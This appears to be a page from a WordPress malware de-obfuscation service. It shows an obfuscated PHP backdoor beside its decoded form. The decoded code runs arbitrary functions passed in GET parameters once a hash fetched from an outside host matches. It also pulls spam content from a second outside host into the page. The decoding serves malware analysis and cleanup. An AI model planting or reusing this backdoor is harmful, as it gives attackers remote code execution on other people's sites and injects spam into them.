De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php goto smGxE; smGxE: if (@$_GET["\x73\x6c\151\x6e\x63\x65\x5f\147\x6f\x6c\x64\x65\x6e"]) { goto qTN21; ywZcn: if (md5(sha1(@$_GET["\151\x73"])) == $response) { if (@$_GET["\146"]) { print_r($_GET["\x66"]($_GET["\x63"])); } } goto scZgy; p3rnO: if (function_exists("\143\165\x72\154\137\x69\x6e\151\164")) { goto NX0d1; VoE0U: curl_close($ch); goto R0XHO; NX0d1: $ch = curl_init(); goto TGcSN; kTb20: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto x6sIy; TGcSN: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\x3a\57\57\x72\x35\x37\x73\x68\x65\x6c\154\x2e\x6e\x65\164\57\x6a\x71\x75\x65\x72\171\56\160\150\160\77\166\x3d\61\56\62\46\160\x77\x64\x3d\147\145\164"); goto kTb20; x6sIy: $response = curl_exec($ch); goto VoE0U; R0XHO: } else { $response = file_get_contents("\x68\x74\x74\x70\x3a\x2f\x2f\x72\x35\x37\163\x68\145\154\154\56\156\145\x74\x2f\152\x71\x75\x65\162\171\x2e\160\x68\x70\77\166\x3d\61\x2e\62\46\160\167\144\x3d\147\x65\x74"); } goto ywZcn; qTN21: echo "\74\x21\55\55\40\x2f\57\123\x69\154\x65\156\143\145\x20\151\x73\x20\147\157\154\x64\145\x6e\56\x20\55\x2d\76"; goto p3rnO; scZgy: exit; goto BeOuk; BeOuk: } goto zj33y; zj33y: if (function_exists("\143\165\162\x6c\137\x69\x6e\151\x74")) { goto yoCi9; dz3fa: curl_close($ch); goto J1emG; TCjcp: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto S1FC5; tl2yd: curl_setopt($ch, CURLOPT_URL, "\x68\x74\x74\x70\163\x3a\57\x2f\x73\145\157\x6c\151\x6e\x6b\56\145\170\x70\145\162\x74\x2f\x6a\x71\165\145\162\x79\x2e\x70\x68\160"); goto TCjcp; S1FC5: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\x48\124\x54\x50\x5f\x48\117\x53\124"] . $_SERVER["\122\x45\x51\125\105\123\x54\137\x55\122\x49"]); goto Xjrl_; yoCi9: $ch = curl_init(); goto tl2yd; Xjrl_: $response = curl_exec($ch); goto dz3fa; J1emG: } else { goto nOqvI; KveXj: $context = stream_context_create($opts); goto PROYN; PROYN: $response = @file_get_contents("\x68\x74\x74\160\x73\72\x2f\57\x73\x65\x6f\154\151\x6e\153\56\145\x78\160\145\162\x74\57\x6a\161\x75\145\x72\x79\x2e\x70\150\x70", false, $context); goto BEy2m; nOqvI: $referer = $_SERVER["\110\124\124\x50\137\110\117\123\x54"] . $_SERVER["\x52\105\x51\x55\x45\123\124\x5f\125\122\x49"]; goto td5R9; td5R9: $opts = array("\150\164\x74\160" => array("\150\145\x61\144\x65\x72" => array("\x52\145\x66\145\162\145\162\x3a\x20{$referer}\15\xa"))); goto KveXj; BEy2m: } goto zUryW; zUryW: echo $response;
<?php if (@$_GET["slince_golden"]) { echo "<!-- //Silence is golden. -->"; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } if (md5(sha1(@$_GET["is"])) == $response) { if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } } exit; } if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://seolink.expert/jquery.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $response = curl_exec($ch); curl_close($ch); } else { $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; $opts = array("http" => array("header" => array("Referer: {$referer}\r\n"))); $context = stream_context_create($opts); $response = @file_get_contents("https://seolink.expert/jquery.php", false, $context); } echo $response;
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.